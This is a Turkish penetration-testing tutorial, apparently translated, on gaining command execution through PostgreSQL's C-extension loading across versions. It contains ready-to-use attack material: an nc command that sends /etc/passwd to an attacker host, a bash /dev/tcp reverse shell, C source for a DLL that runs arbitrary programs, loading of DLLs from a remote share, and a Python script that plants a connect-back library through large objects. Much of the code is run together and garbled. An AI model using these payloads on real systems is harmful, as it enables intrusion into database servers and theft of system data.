PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.
8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL bunları çalıştırmayacak, yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.
PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: Metasploit module.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Base64 ile ikili dosya yazma
Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Ancak, daha büyük sürümlerde denendiğinde aşağıdaki hata gösterildi:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut olan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.
Kütüphaneyi derleyin
PostgreSQL sürümünü almak için:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyon sağlamalıdır.
Sonra derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Bu kütüphaneyi önceden derlenmiş olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta bu süreci otomatikleştirebilirsiniz (eğer PostgreSQL erişiminiz varsa) şunla:
Aşağıdaki DLL, ikili dosyanın adını ve çalıştırmak istediğiniz kez sayısını girdi olarak alır ve bunu çalıştırır:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz:
Bu DLL'ye hangi ikili dosyanın çalıştırılacağını ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte calc.exe 2 kez çalıştırılacaktır:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Not edin ki bu durumda kötü niyetli kod DllMain fonksiyonunun içindedir. Bu, bu durumda postgresql'de yüklenen fonksiyonu çalıştırmanın gerekli olmadığı anlamına gelir, sadece DLL'yi yüklemekters shell'i çalıştıracaktır:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
PolyUDF projesi, tam MS Visual Studio projesi ve çoklu versiyon desteği olan kullanıma hazır bir kütüphane (command eval, exec ve cleanup dahil) ile iyi bir başlangıç noktasıdır.
En yeni PostgreSQL sürümlerinde RCE
En son sürümlerde PostgreSQL, superuser'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını yüklemesiyasaklanmıştır. Bu dizinler, Windows'ta C:\Program Files\PostgreSQL\11\lib veya *nix sistemlerinde /var/lib/postgresql/11/lib gibi yerlerdir. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı güvence altına alınmıştır.
Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı superuser'ı, "büyük nesneler" kullanarak dosya sistemine ikili dosyalar yazabilir. Bu yetenek, veritabanı işlemleri için gerekli olan C:\Program Files\PostgreSQL\11\data dizininde yazma işlemini de kapsamaktadır.
CREATE FUNCTION komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine dizin geçişineizin vermesidir. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi istismar ederek veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından yükleyebilir. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütmesine olanak tanır.
Saldırı akışı
Öncelikle dll'yi yüklemek için büyük nesneleri kullanmalısınız. Bunu nasıl yapacağınızı burada görebilirsiniz:
Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, bunu şu şekilde yükleyebilirsiniz:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Not edin .dll uzantısını eklemenize gerek yoktur çünkü create function bunu ekleyecektir.
Daha fazla bilgi için orijinal yayınıburadan okuyun.
O yayında bu, postgres uzantısını oluşturmak için kullanılankoddu (bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun).
Aynı sayfada bu teknik otomatikleştirmek için verilen sömürü:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")